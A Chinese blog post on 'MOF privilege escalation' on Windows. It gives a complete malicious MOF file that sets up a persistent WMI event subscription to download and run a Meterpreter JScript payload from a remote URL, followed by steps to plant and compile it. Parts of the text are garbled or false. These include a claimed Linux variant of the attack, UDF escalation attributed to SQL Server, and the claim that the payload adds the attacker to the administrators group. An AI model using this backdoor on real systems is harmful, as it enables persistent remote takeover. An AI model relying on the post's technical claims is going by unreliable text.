Mof提權攻擊詳解

一、Mof提權程序全稱

Mof是一種特殊的WMI(Windows Management Instrumentation)格式,可以被用於執行特定的操作,例如創建永久性的後門、隱藏文件和執行命令等。Mof提權程序是利用Mof文件格式以及WMI服務漏洞實現的一種Windows系統提權攻擊。

攻擊者可以通過Mof文件將惡意代碼寫入系統中,然後利用WMI服務解析Mof文件並執行其中的代碼,最終實現對系統進行提權操作。一旦攻擊成功,攻擊者就可以獲得系統管理員權限,從而完全控制受害計算機。

二、UDF提權

除了Mof提權外,另一種常見的Windows系統提權攻擊技術是UDF(User Defined Functions)提權。UDF提權攻擊是利用一種特殊的SQL Server User Defined Function函數漏洞,通過創建惡意函數並執行,最終獲得SYSTEM管理員權限。

與Mof提權不同的是,UDF提權使用的是SQL Server數據庫服務中的特定漏洞,而不是WMI服務的漏洞。因此,它只能在安裝了SQL Server的Windows系統上實現提權攻擊。

三、Mof提權步驟

1、編寫惡意Mof文件

#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $Filter
{
    EventNamespace = "Root\\Cimv2";
    Name  = "filtP1";
    QueryLanguage  = "WQL";
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \"Win32_LocalTime\" AND TargetInstance.Second = 59";
};
instance of ActiveScriptEventConsumer as $Cons
{
    ScriptingEngine    = "JScript";
    ScriptText  = "GetObject(\"script:https://raw.githubusercontent.com/xxx/xxx/master/meterpreter/jscript/meterpreter.js\").run()";
};
instance of __FilterToConsumerBinding
{
    Consumer   = $Cons;
    Filter = $Filter;
};

以上是一個基本的Mof文件編寫方法,在布控的時候,代碼被例行檢查和但會全部過關。

2、布控Mof文件

將Mof文件放置在指定目錄下,如下所示:

C:\Windows\System32\wbem\mof\evil.mof

然後打開命令提示符,在管理員權限下輸入以下命令來下載該Mof文件以及更新WMI類定義:

mofcomp evil.mof

3、驗證攻擊是否成功

當攻擊者成功執行上述步驟後,可以通過以下命令來檢查攻擊是否成功:

net localgroup administrators

如果攻擊成功,會發現攻擊者被添加到系統管理員組中。

四、Mof提權 Linux

除了可以在Windows系統上實現Mof提權攻擊外,攻擊者還可以在Linux系統上利用Mof文件格式漏洞實現提權攻擊。

類似於Windows系統,攻擊者需要編寫惡意Mof文件,並將其放置在Linux系統的特定目錄下。然後,攻擊者需要執行以下命令將Mof文件編譯成二進制文件:

sudo mofcomp evil.mof -o /dev/null

此後,攻擊者就可以利用提權後的權限執行任意命令和操作了。

總結

通過以上分析可以看出,Mof提權攻擊利用了WMI服務漏洞,攻擊者可以編寫惡意的Mof文件,將其放置在Windows系統的特定目錄下,然後利用WMI服務解析執行其中的惡意代碼,最終實現對系統的提權操作。防範Mof提權攻擊的最好方法是及時升級並維護系統。

原創文章,作者:小藍,如若轉載,請註明出處:https://www.506064.com/zh-hant/n/189901.html

(0)
打賞 微信掃一掃 微信掃一掃 支付寶掃一掃 支付寶掃一掃
小藍的頭像小藍
上一篇 2024-11-29 13:52
下一篇 2024-11-29 13:52

相關推薦

  • 神經網絡代碼詳解

    神經網絡作為一種人工智能技術,被廣泛應用於語音識別、圖像識別、自然語言處理等領域。而神經網絡的模型編寫,離不開代碼。本文將從多個方面詳細闡述神經網絡模型編寫的代碼技術。 一、神經網…

    編程 2025-04-25
  • Linux sync詳解

    一、sync概述 sync是Linux中一個非常重要的命令,它可以將文件系統緩存中的內容,強制寫入磁盤中。在執行sync之前,所有的文件系統更新將不會立即寫入磁盤,而是先緩存在內存…

    編程 2025-04-25
  • Linux修改文件名命令詳解

    在Linux系統中,修改文件名是一個很常見的操作。Linux提供了多種方式來修改文件名,這篇文章將介紹Linux修改文件名的詳細操作。 一、mv命令 mv命令是Linux下的常用命…

    編程 2025-04-25
  • git config user.name的詳解

    一、為什麼要使用git config user.name? git是一個非常流行的分布式版本控制系統,很多程序員都會用到它。在使用git commit提交代碼時,需要記錄commi…

    編程 2025-04-25
  • 詳解eclipse設置

    一、安裝與基礎設置 1、下載eclipse並進行安裝。 2、打開eclipse,選擇對應的工作空間路徑。 File -> Switch Workspace -> [選擇…

    編程 2025-04-25
  • Java BigDecimal 精度詳解

    一、基礎概念 Java BigDecimal 是一個用於高精度計算的類。普通的 double 或 float 類型只能精確表示有限的數字,而對於需要高精度計算的場景,BigDeci…

    編程 2025-04-25
  • Python安裝OS庫詳解

    一、OS簡介 OS庫是Python標準庫的一部分,它提供了跨平台的操作系統功能,使得Python可以進行文件操作、進程管理、環境變量讀取等系統級操作。 OS庫中包含了大量的文件和目…

    編程 2025-04-25
  • MPU6050工作原理詳解

    一、什麼是MPU6050 MPU6050是一種六軸慣性傳感器,能夠同時測量加速度和角速度。它由三個傳感器組成:一個三軸加速度計和一個三軸陀螺儀。這個組合提供了非常精細的姿態解算,其…

    編程 2025-04-25
  • nginx與apache應用開發詳解

    一、概述 nginx和apache都是常見的web服務器。nginx是一個高性能的反向代理web服務器,將負載均衡和緩存集成在了一起,可以動靜分離。apache是一個可擴展的web…

    編程 2025-04-25
  • Python輸入輸出詳解

    一、文件讀寫 Python中文件的讀寫操作是必不可少的基本技能之一。讀寫文件分別使用open()函數中的’r’和’w’參數,讀取文件…

    編程 2025-04-25

發表回復

登錄後才能評論